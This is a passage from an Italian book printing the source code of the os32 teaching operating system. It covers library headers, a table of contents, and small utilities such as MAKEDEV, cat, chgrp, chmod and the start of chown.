4540029     // Check result and return.
4540030     //
4540031     if (msg.ret < 0)
4540032       {
4540033         //
4540034         // No valid write, no change inside the buffer.
4540035         //
4540036         errno = msg.errno;
4540037         errln = msg.errln;
4540038         strncpy (errfn, msg.errfn, PATH_MAX);
4540039         return (msg.ret);
4540040       }
4540041     //
4540042     if (msg.ret > count)
4540043       {
4540044         //
4540045         // A strange value was returned. Considering it a read error.
4540046         //
4540047         errset (EIO);                    // I/O error.
4540048         return (-1);
4540049       }
```

```
4540050       //
4540051       // A valid write return.
4540052       //
4540053       return (msg.ret);
4540054   }
```

120.22 os32: «lib/utime.h»

Si veda la sezione 116.2.

```
4550001   #ifndef _UTIME_H
4550002   #define _UTIME_H        1
4550003   //----------------------------------------------------------------------
4550004   #include <restrict.h>
4550005   #include <sys/types.h>          // time_t
4550006   //----------------------------------------------------------------------
4550007   struct utimbuf {
4550008       time_t  actime;
4550009       time_t  modtime;
4550010   };
4550011   //----------------------------------------------------------------------
4550012   int utime (const char *path, const struct utimbuf *times);
4550013   //----------------------------------------------------------------------
4550014
4550015   #endif
```


120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473
120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566

120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577
120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594

120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623
120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694

120.14.4 lib/string/memcpy.c ... 7694
120.14.5 lib/string/memmove.c ... 7695
120.14.6 lib/string/memset.c ... 7695
120.14.7 lib/string/strcat.c ... 7696
120.14.8 lib/string/strchr.c ... 7696
120.14.9 lib/string/strcmp.c ... 7697
120.14.10 lib/string/strcoll.c ... 7697
120.14.11 lib/string/strcpy.c ... 7698
120.14.12 lib/string/strcspn.c ... 7698
120.14.13 lib/string/strdup.c ... 7699
120.14.14 lib/string/strerror.c ... 7699
120.14.15 lib/string/strlen.c ... 7702
120.14.16 lib/string/strncat.c ... 7702
120.14.17 lib/string/strncmp.c ... 7703
120.14.18 lib/string/strncpy.c ... 7703
120.14.19 lib/string/strpbrk.c ... 7704
120.14.20 lib/string/strrchr.c ... 7704
120.14.21 lib/string/strspn.c ... 7705
120.14.22 lib/string/strstr.c ... 7705
120.14.23 lib/string/strtok.c ... 7706
120.14.24 lib/string/strxfrm.c ... 7709

120.15 os32: «lib/sys/os32.h» ... 7709

120.15.1 lib/sys/os32/input_line.c ... 7725
120.15.2 lib/sys/os32/mount.c ... 7729
120.15.3 lib/sys/os32/namep.c ... 7729
120.15.4 lib/sys/os32/sys.s ... 7732
120.15.5 lib/sys/os32/umount.c ... 7732
120.15.6 lib/sys/os32/z_perror.c ... 7733
120.15.7 lib/sys/os32/z_printf.c ... 7734
120.15.8 lib/sys/os32/z_vprintf.c ... 7734

120.16 os32: «lib/sys/stat.h» ... 7734

120.16.1 lib/sys/stat/chmod.c ... 7743
120.16.2 lib/sys/stat/fchmod.c ... 7743
120.16.3 lib/sys/stat/fstat.c ... 7744
120.16.4 lib/sys/stat/mkdir.c ... 7745
120.16.5 lib/sys/stat/mknod.c ... 7745
120.16.6 lib/sys/stat/stat.c ... 7746
120.16.7 lib/sys/stat/umask.c ... 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.18 os32: «lib/sys/wait.h» 7755

120.18.1 lib/sys/wait/wait.c 7761

120.19 os32: «lib/termios.h» 7762

120.19.1 lib/termios/tcgetattr.c 7770
120.19.2 lib/termios/tcsetattr.c 7770

120.20 os32: «lib/time.h» 7771

120.20.1 lib/time/asctime.c 7779
120.20.2 lib/time/clock.c 7781
120.20.3 lib/time/gmtime.c 7781
120.20.4 lib/time/mktime.c 7785
120.20.5 lib/time/stime.c 7787
120.20.6 lib/time/time.c 7788

120.21 os32: «lib/unistd.h» 7788

120.21.1 lib/unistd/_exit.c 7796
120.21.2 lib/unistd/access.c 7796
120.21.3 lib/unistd/brk.c 7797
120.21.4 lib/unistd/chdir.c 7798
120.21.5 lib/unistd/chown.c 7799
120.21.6 lib/unistd/close.c 7799
120.21.7 lib/unistd/dup.c 7800
120.21.8 lib/unistd/dup2.c 7800
120.21.9 lib/unistd/environ.c 7801
120.21.10 lib/unistd/execl.c 7801
120.21.11 lib/unistd/execle.c 7802
120.21.12 lib/unistd/execlp.c 7802
120.21.13 lib/unistd/execv.c 7803
120.21.14 lib/unistd/execve.c 7804
120.21.15 lib/unistd/execvp.c 7805
120.21.16 lib/unistd/fchdir.c 7806
120.21.17 lib/unistd/fchown.c 7806
120.21.18 lib/unistd/fork.c 7807
120.21.19 lib/unistd/getcwd.c 7808

120.21.20 lib/unistd/getegid.c 7809
120.21.21 lib/unistd/geteuid.c 7809
120.21.22 lib/unistd/getgid.c 7810
120.21.23 lib/unistd/getopt.c 7810
120.21.24 lib/unistd/getpgrp.c 7815
120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.22.1 lib/utime/utime.c

Si veda la sezione 116.2.

```
4560001 #include <utime.h>
4560002 #include <errno.h>
4560003 //----------------------------------------------------------------------
4560004 int
4560005 utime (const char *path, const struct utimbuf *times)
4560006 {
4560007     //
4560008     // Currently not implemented.
4560009     //
4560010     return (0);
4560011 }
```

Capitolo 121

Sorgenti delle applicazioni

121.1 os32: directory «applic/» 7835

121.1.1 applic/MAKEDEV.c 7836
121.1.2 applic/aaa.c 7838
121.1.3 applic/allocated.c 7839
121.1.4 applic/bbb.c 7841
121.1.5 applic/cat.c 7841
121.1.6 applic/ccc.c 7843
121.1.7 applic/chgrp.c 7844
121.1.8 applic/chmod.c 7845
121.1.9 applic/chown.c 7847
121.1.10 applic/cp.c 7848
121.1.11 applic/crt0.mer.s 7853
121.1.12 applic/crt0.sep.s 7855
121.1.13 applic/date.c 7858
121.1.14 applic/ed.c 7861
121.1.15 applic/getty.c 7890
121.1.16 applic/init.c 7892
121.1.17 applic/kill.c 7896
121.1.18 applic/ln.c 7900
121.1.19 applic/login.c 7903
121.1.20 applic/ls.c 7907
121.1.21 applic/man.c 7914
121.1.22 applic/mkdir.c 7919
121.1.23 applic/mmcheck.c 7923
121.1.24 applic/more.c 7928
121.1.25 applic/mount.c 7932
121.1.26 applic/ps.c 7934
121.1.27 applic/rm.c 7939
121.1.28 applic/shell.c 7940
121.1.29 applic/t_fifo.c 7945
121.1.30 applic/t_grp.c 7947
121.1.31 applic/t_pipe.c 7948
121.1.32 applic/t_ret.c 7950
121.1.33 applic/t_scr.c 7950
121.1.34 applic/t_setjmp.c 7951
121.1.35 applic/t_sig.c 7952
121.1.36 applic/t_sig2.c 7953

121.1.37 applic/touch.c 7954
121.1.38 applic/tty.c 7955
121.1.39 applic/umount.c 7957
121.1.40 applic/yes.c 7958

121.1 os32: directory «applic/»

121.1.1 applic/MAKEDEV.c

Si veda la sezione 117.3.

```
4570001 #include <unistd.h>
4570002 #include <stdlib.h>
4570003 #include <sys/stat.h>
4570004 #include <fcntl.h>
4570005 #include <kernel/dev.h>
4570006 #include <stdio.h>
4570007 //----------------------------------------------------------------------
4570008 int
4570009 main (void)
4570010 {
4570011   int status;
4570012   //
4570013   status = mknod ("mem", (mode_t) (S_IFCHR | 0444), (dev_t) DEV_MEM);
4570014   if (status)
4570015     perror (NULL);
4570016   status = mknod ("null", (mode_t) (S_IFCHR | 0666), (dev_t) DEV_NULL);
4570017   if (status)
4570018     perror (NULL);
4570019   status = mknod ("port", (mode_t) (S_IFCHR | 0644), (dev_t) DEV_PORT);
4570020   if (status)
4570021     perror (NULL);
4570022   status = mknod ("zero", (mode_t) (S_IFCHR | 0666), (dev_t) DEV_ZERO);
4570023   if (status)
4570024     perror (NULL);
4570025   status = mknod ("tty", (mode_t) (S_IFCHR | 0666), (dev_t) DEV_TTY);
4570026   if (status)
4570027     perror (NULL);
4570028   status = mknod ("kmem_ps", (mode_t) (S_IFCHR | 0444),
4570029                   (dev_t) DEV_KMEM_PS);
4570030   if (status)
4570031     perror (NULL);
4570032   status = mknod ("kmem_mmp", (mode_t) (S_IFCHR | 0444),
4570033                   (dev_t) DEV_KMEM_MMP);
4570034   if (status)
4570035     perror (NULL);
4570036   status = mknod ("kmem_sb", (mode_t) (S_IFCHR | 0444),
4570037                   (dev_t) DEV_KMEM_SB);
4570038   if (status)
```

```
4570039       perror (NULL);
4570040     status = mknod ("kmem_inode", (mode_t) (S_IFCHR | 0444),
4570041                     (dev_t) DEV_KMEM_INODE);
4570042     if (status)
4570043       perror (NULL);
4570044     status = mknod ("kmem_file", (mode_t) (S_IFCHR | 0444),
4570045                     (dev_t) DEV_KMEM_FILE);
4570046     if (status)
4570047       perror (NULL);
4570048     status = mknod ("console", (mode_t) (S_IFCHR | 0644),
4570049                     (dev_t) DEV_CONSOLE);
4570050     if (status)
4570051       perror (NULL);
4570052     status = mknod ("console0", (mode_t) (S_IFCHR | 0644),
4570053                     (dev_t) DEV_CONSOLE0);
4570054     if (status)
4570055       perror (NULL);
4570056     status = mknod ("console1", (mode_t) (S_IFCHR | 0644),
4570057                     (dev_t) DEV_CONSOLE1);
4570058     if (status)
4570059       perror (NULL);
4570060     status = mknod ("console2", (mode_t) (S_IFCHR | 0644),
4570061                     (dev_t) DEV_CONSOLE2);
4570062     if (status)
4570063       perror (NULL);
4570064     status = mknod ("console3", (mode_t) (S_IFCHR | 0644),
4570065                     (dev_t) DEV_CONSOLE3);
4570066     if (status)
4570067       perror (NULL);
4570068
4570069     status = mknod ("dm00", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM00);
4570070     if (status)
4570071       perror (NULL);
4570072     status = mknod ("dm01", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM01);
4570073     if (status)
4570074       perror (NULL);
4570075     status = mknod ("dm02", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM02);
4570076     if (status)
4570077       perror (NULL);
4570078     status = mknod ("dm03", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM03);
4570079     if (status)
4570080       perror (NULL);
4570081     status = mknod ("dm04", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM04);
4570082     if (status)
4570083       perror (NULL);
4570084     status = mknod ("dm10", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM10);
4570085     if (status)
4570086       perror (NULL);
4570087     status = mknod ("dm11", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM11);
4570088     if (status)
4570089       perror (NULL);
4570090     status = mknod ("dm12", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM12);
```

```
4570091     if (status)
4570092       perror (NULL);
4570093     status = mknod ("dm13", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM13);
4570094     if (status)
4570095       perror (NULL);
4570096     status = mknod ("dm14", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM14);
4570097     if (status)
4570098       perror (NULL);
4570099     status = mknod ("dm20", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM20);
4570100     if (status)
4570101       perror (NULL);
4570102     status = mknod ("dm21", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM21);
4570103     if (status)
4570104       perror (NULL);
4570105     status = mknod ("dm22", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM22);
4570106     if (status)
4570107       perror (NULL);
4570108     status = mknod ("dm23", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM23);
4570109     if (status)
4570110       perror (NULL);
4570111     status = mknod ("dm24", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM24);
4570112     if (status)
4570113       perror (NULL);
4570114     status = mknod ("dm30", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM30);
4570115     if (status)
4570116       perror (NULL);
4570117     status = mknod ("dm31", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM31);
4570118     if (status)
4570119       perror (NULL);
4570120     status = mknod ("dm32", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM32);
4570121     if (status)
4570122       perror (NULL);
4570123     status = mknod ("dm33", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM33);
4570124     if (status)
4570125       perror (NULL);
4570126     status = mknod ("dm34", (mode_t) (S_IFBLK | 0644), (dev_t) DEV_DM34);
4570127     if (status)
4570128       perror (NULL);
4570129     //
4570130     return (0);
4570131   }
```

121.1.2 applic/aaa.c

Si veda la sezione 111.1.

```
4580001   #include <unistd.h>
4580002   #include <stdio.h>
4580003   //----------------------------------------------------------------------
4580004   int
4580005   main (void)
```

```
4580006 {
4580007   unsigned int    count;
4580008   for (count = 0; count < 60; count++)
4580009     {
4580010       printf ("a");
4580011       sleep (1);
4580012     }
4580013   return (8);
4580014 }
```

121.1.3 applic/allocated.c

Si veda la sezione 111.2.

```
4590001 #include <sys/os32.h>
4590002 #include <kernel/memory.h>
4590003 #include <unistd.h>
4590004 #include <stdio.h>
4590005 #include <fcntl.h>
4590006 #include <unistd.h>
4590007 #include <stdlib.h>
4590008 //----------------------------------------------------------------------
4590009 uint32_t        mb_table[MEM_MAX_BLOCKS / 32];  // Memory blocks map.
4590010 unsigned int    mb_max = MEM_MAX_BLOCKS;        // Memory blocks max.
4590011 //----------------------------------------------------------------------
4590012 int
4590013 main (int argc, char *argv[], char *envp[])
4590014 {
4590015   unsigned int    block;
4590016   unsigned int    blocks = MEM_MAX_BLOCKS;
4590017   int             i;
4590018   int             j;
4590019   uint32_t        mask;
4590020   unsigned int    start = 0;
4590021   unsigned int    stop = 0;
4590022   unsigned int    status = 0;
4590023   int             fd;
4590024   ssize_t         size_read;
4590025   char           *buffer = (char *) mb_table;
4590026   //
4590027   fd = open ("/dev/kmem_map", O_RDONLY);
4590028   if (fd < 0)
4590029     {
4590030       printf ("[%s] Cannot open \"/dev/kmem_map\" ", argv[0]);
4590031       perror (NULL);
4590032       return (0);
4590033     }
4590034   //
4590035   lseek (fd, (off_t) 0, SEEK_SET);
4590036   for (i = 0; i < (MEM_MAX_BLOCKS / 8); i += size_read)
4590037     {
```

```
4590038         size_read = read (fd, &buffer[i], BUFSIZ);
4590039         if (size_read < 0)
4590040           {
4590041             printf ("[%s] Cannot read \"/dev/kmem_map\" %i %i  ",
4590042                     argv[0], size_read, sizeof (mb_table));
4590043             perror (NULL);
4590044             return (0);
4590045           }
4590046       }
4590047     //
4590048     printf ("Hex mem map, blocks of %x:", MEM_BLOCK_SIZE);
4590049     //
4590050     for (block = 0; block < blocks; block++)
4590051       {
4590052         i = block / 32;
4590053         j = block % 32;
4590054         mask = 0x80000000 >> j;
4590055         if (mb_table[i] & mask)
4590056           {
4590057             //
4590058             // Allocated block
4590059             //
4590060             if (status == 0)
4590061               {
4590062                 status = 1;
4590063                 start = block;
4590064               }
4590065           }
4590066         else
4590067           {
4590068             //
4590069             // Not allocated block.
4590070             //
4590071             if (status == 1)
4590072               {
4590073                 status = 0;
4590074                 stop = block;
4590075               }
4590076           }
4590077         //
4590078         //
4590079         //
4590080         if (stop > 0)
4590081           {
4590082             printf (" %x-%x", start, stop);
4590083             start = 0;
4590084             stop = 0;
4590085           }
4590086       }
4590087     printf ("\n");
4590088
4590089     return (0);
```

```
4590090 }
```

121.1.4 applic/bbb.c

Si veda la sezione 111.1.

```
4600001 #include <unistd.h>
4600002 #include <stdio.h>
4600003 #include <stdlib.h>
4600004 //----------------------------------------------------------------------
4600005 int
4600006 main (void)
4600007 {
4600008   unsigned int    count;
4600009   for (count = 0; count < 30; count++)
4600010     {
4600011       printf ("b");
4600012       sleep (2);
4600013     }
4600014   exit (0);
4600015   return (0);
4600016 }
```

121.1.5 applic/cat.c

Si veda la sezione 111.4.

```
4610001 #include <fcntl.h>
4610002 #include <sys/stat.h>
4610003 #include <stddef.h>
4610004 #include <unistd.h>
4610005 #include <stdio.h>
4610006 #include <stdlib.h>
4610007 #include <errno.h>
4610008 //----------------------------------------------------------------------
4610009 static void     cat_file_descriptor (int fd);
4610010 //----------------------------------------------------------------------
4610011 int
4610012 main (int argc, char *argv[], char *envp[])
4610013 {
4610014   int             i;
4610015   int             fd;
4610016   struct stat     file_status;
4610017   //
4610018   // Check if the input comes from standard input.
4610019   //
4610020   if (argc < 2)
4610021     {
4610022       cat_file_descriptor (STDIN_FILENO);
```

```
4610023         exit (0);
4610024       }
4610025     //
4610026     // There is at least an argument: scan them.
4610027     //
4610028     for (i = 1; i < argc; i++)
4610029       {
4610030         //
4610031         // Verify if the file exists.
4610032         //
4610033         if (stat (argv[i], &file_status) != 0)
4610034           {
4610035             fprintf (stderr, "File \"%s\" does not exist!\n", argv[i]);
4610036             continue;
4610037           }
4610038         //
4610039         // File exists: check the file type.
4610040         //
4610041         if (S_ISDIR (file_status.st_mode))
4610042           {
4610043             fprintf (stderr, "Cannot \"cat\" "
4610044                      "\"%s\": it is a directory!\n", argv[i]);
4610045             continue;
4610046           }
4610047         //
4610048         // File exists and can be "cat"ed.
4610049         //
4610050         fd = open (argv[i], O_RDONLY);
4610051         if (fd >= 0)
4610052           {
4610053             cat_file_descriptor (fd);
4610054             close (fd);
4610055           }
4610056         else
4610057           {
4610058             perror (NULL);
4610059             exit (1);
4610060           }
4610061       }
4610062     return (0);
4610063 }
4610064 
4610065 //----------------------------------------------------------------------
4610066 static void
4610067 cat_file_descriptor (int fd)
4610068 {
4610069     ssize_t         count;
4610070     char            buffer[BUFSIZ];
4610071 
4610072     for (;;)
4610073       {
4610074         count = read (fd, buffer, (size_t) BUFSIZ);
```

```
4610075         if (count > 0)
4610076           {
4610077             write (STDOUT_FILENO, buffer, (size_t) count);
4610078           }
4610079         else
4610080           {
4610081             break;
4610082           }
4610083       }
4610084 }
```

121.1.6 applic/ccc.c

Si veda la sezione 111.1.

```
4620001 #include <unistd.h>
4620002 #include <stdlib.h>
4620003 #include <signal.h>
4620004 //----------------------------------------------------------------------
4620005 int
4620006 main (void)
4620007 {
4620008   pid_t           pid;
4620009   //------------------------------------------------------------------
4620010   pid = fork ();
4620011   if (pid == 0)
4620012     {
4620013       setuid ((uid_t) 10);
4620014       execve ("/bin/aaa", NULL, NULL);
4620015       exit (0);
4620016     }
4620017   //------------------------------------------------------------------
4620018   pid = fork ();
4620019   if (pid == 0)
4620020     {
4620021       setuid ((uid_t) 11);
4620022       execve ("/bin/bbb", NULL, NULL);
4620023       exit (0);
4620024     }
4620025   //------------------------------------------------------------------
4620026   while (1)
4620027     {
4620028       ; // Just loop, to consume CPU time: it must be killed manually.
4620029     }
4620030   return (0);
4620031 }
```

121.1.7 applic/chgrp.c

Si veda la sezione 111.6.

```
4630001 #include <unistd.h>
4630002 #include <stdlib.h>
4630003 #include <sys/stat.h>
4630004 #include <sys/types.h>
4630005 #include <fcntl.h>
4630006 #include <errno.h>
4630007 #include <stdio.h>
4630008 #include <ctype.h>
4630009 #include <grp.h>
4630010 //----------------------------------------------------------------------
4630011 static void     usage (void);
4630012 //----------------------------------------------------------------------
4630013 int
4630014 main (int argc, char *argv[], char *envp[])
4630015 {
4630016   char           *group;
4630017   int             gid;
4630018   struct group   *grs;
4630019   struct stat     file_status;
4630020   int             a;             // Argument index.
4630021   int             status;
4630022   //
4630023   //
4630024   //
4630025   if (argc < 3)
4630026     {
4630027       usage ();
4630028       return (1);
4630029     }
4630030   //
4630031   // Get group id number.
4630032   //
4630033   group = argv[1];
4630034   if (isdigit (*group))
4630035     {
4630036       gid = atoi (group);
4630037     }
4630038   else
4630039     {
4630040       grs = getgrnam (group);
4630041       if (grs == NULL)
4630042         {
4630043           fprintf (stderr, "Unknown group \"%s\"!\n", group);
4630044           return (2);
4630045         }
4630046       gid = grs->gr_gid;
4630047     }
4630048   //
4630049   // Now we have the group id. Start scanning file names.
```

```
4630050     //
4630051     for (a = 2; a < argc; a++)
4630052       {
4630053         //
4630054         // Verify if the file exists, through the return value of
4630055         // `stat()'. No other checks are made.
4630056         //
4630057         if (stat (argv[a], &file_status) == 0)
4630058           {
4630059             //
4630060             // Try to change ownership.
4630061             //
4630062             status = chown (argv[a], file_status.st_uid, gid);
4630063             if (status != 0)
4630064               {
4630065                 perror (NULL);
4630066                 return (3);
4630067               }
4630068           }
4630069         else
4630070           {
4630071             fprintf (stderr, "File \"%s\" does not exist!\n", argv[a]);
4630072             continue;
4630073           }
4630074       }
4630075     //
4630076     // All done.
4630077     //
4630078     return (0);
4630079   }
4630080
4630081   //----------------------------------------------------------------------
4630082   static void
4630083   usage (void)
4630084   {
4630085     fprintf (stderr, "Usage:   chown GROUP|UID FILE...\n");
4630086     fprintf (stderr, "Example: chown group my_file\n");
4630087   }
```

121.1.8 applic/chmod.c

Si veda la sezione 111.7.

```
4640001   #include <unistd.h>
4640002   #include <stdlib.h>
4640003   #include <sys/stat.h>
4640004   #include <sys/types.h>
4640005   #include <fcntl.h>
4640006   #include <errno.h>
4640007   #include <signal.h>
4640008   #include <stdio.h>
```

```
4640009 #include <sys/wait.h>
4640010 #include <stdio.h>
4640011 #include <string.h>
4640012 #include <limits.h>
4640013 #include <sys/os32.h>
4640014 //----------------------------------------------------------------------
4640015 static void     usage (void);
4640016 //----------------------------------------------------------------------
4640017 int
4640018 main (int argc, char *argv[], char *envp[])
4640019 {
4640020   int             status;
4640021   mode_t          mode;
4640022   char           *m;             // Pointer inside the octal mode string.
4640023   int             digit;
4640024   int             a;             // Argument index.
4640025   //
4640026   //
4640027   //
4640028   if (argc < 3)
4640029     {
4640030       usage ();
4640031       return (1);
4640032     }
4640033   //
4640034   // Get mode: must be the first argument.
4640035   //
4640036   for (m = argv[1]; *m != 0; m++)
4640037     {
4640038       digit = (*m - '0');
4640039       if (digit < 0 || digit > 7)
4640040         {
4640041           usage ();
4640042           return (2);
4640043         }
4640044       mode = mode * 8 + digit;
4640045     }
4640046   //
4640047   // System call for all the remaining arguments.
4640048   //
4640049   for (a = 2; a < argc; a++)
4640050     {
4640051       status = chmod (argv[a], mode);
4640052       if (status != 0)
4640053         {
4640054           perror (argv[a]);
4640055           return (3);
4640056         }
4640057     }
4640058   //
4640059   // All done.
4640060   //
```

```
4640061     return (0);
4640062   }
4640063
4640064   //----------------------------------------------------------------------
4640065   static void
4640066   usage (void)
4640067   {
4640068     fprintf (stderr, "Usage:   chmod OCTAL_MODE FILE...\n");
4640069     fprintf (stderr, "Example: chmod 0640 my_file\n");
4640070   }
```

121.1.9 applic/chown.c

Si veda la sezione 111.8.

```
4650001   #include <unistd.h>
4650002   #include <stdlib.h>
4650003   #include <sys/stat.h>
4650004   #include <sys/types.h>
4650005   #include <fcntl.h>
4650006   #include <errno.h>
4650007   #include <stdio.h>
4650008   #include <ctype.h>
4650009   #include <pwd.h>
4650010   //----------------------------------------------------------------------
4650011   static void     usage (void);
4650012   //----------------------------------------------------------------------
4650013   int
4650014   main (int argc, char *argv[], char *envp[])
4650015   {
4650016     char           *user;
4650017     int             uid;
4650018     struct passwd  *pws;
4650019     struct stat     file_status;
4650020     int             a;            // Argument index.
4650021     int             status;
4650022     //
4650023     //
4650024     //
4650025     if (argc < 3)
4650026       {
4650027         usage ();
4650028         return (1);
4650029       }
4650030     //
4650031     // Get user id number.
4650032     //
4650033     user = argv[1];
4650034     if (isdigit (*user))
4650035       {
4650036         uid = atoi (user);
```

```
4650037       }
4650038     else
4650039       {
4650040         pws = getpwnam (user);
4650041         if (pws == NULL)
4650042           {
4650043             fprintf (stderr, "Unknown user \"%s\"!\n", user);
4650044             return (2);
4650045           }
4650046         uid = pws->pw_uid;
4650047       }
4650048     //
4650049     // Now we have the user id. Start scanning file names.
4650050     //
4650051     for (a = 2; a < argc; a++)
4650052       {
4650053         //
